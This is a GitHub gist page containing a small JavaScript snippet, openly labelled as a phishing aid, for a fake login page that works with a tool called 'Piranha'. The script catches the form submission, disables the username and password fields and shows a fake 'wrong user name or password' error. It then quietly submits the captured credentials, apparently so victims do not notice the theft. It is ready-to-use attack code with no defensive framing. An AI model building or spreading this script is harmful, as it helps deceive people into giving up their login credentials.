Skip to content

Instantly share code, notes, and snippets.

@evillogic
Created September 11, 2020 19:41
Show Gist options
  • Save evillogic/32260d113df25249eb1b0c693a0beb87 to your computer and use it in GitHub Desktop.
Save evillogic/32260d113df25249eb1b0c693a0beb87 to your computer and use it in GitHub Desktop.
<script>
// Phishing fake submit 'error' animation script!
// Add this to the end of the body and set the right element IDs!
// Piranha expects 'username' and 'password' Ids for the elements!
function disableInput()
{
document.getElementById("password").readOnly = true;
document.getElementById("password").disable = true;
document.getElementById("password").style.backgroundColor = "#D4D0C8";
document.getElementById("username").readOnly = true;
document.getElementById("username").disable = true;
document.getElementById("username").style.backgroundColor = "#D4D0C8";
}
window.onload = function() {
// Make sure to set the correct form
document.getElementById("loginForm").onsubmit = function() {
var form = this;
setTimeout(function(){
disableInput()
// TKTK Set your error text based on the context. Perhaps do an alert for a generic error?
document.getElementById('errorMsgDIV').innerHTML = '<span class="errorMessage">Access denied - wrong user name or password</span>';
setTimeout(() => { form.submit(); }, 3000);
}, 1000)
return false;
};
}
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment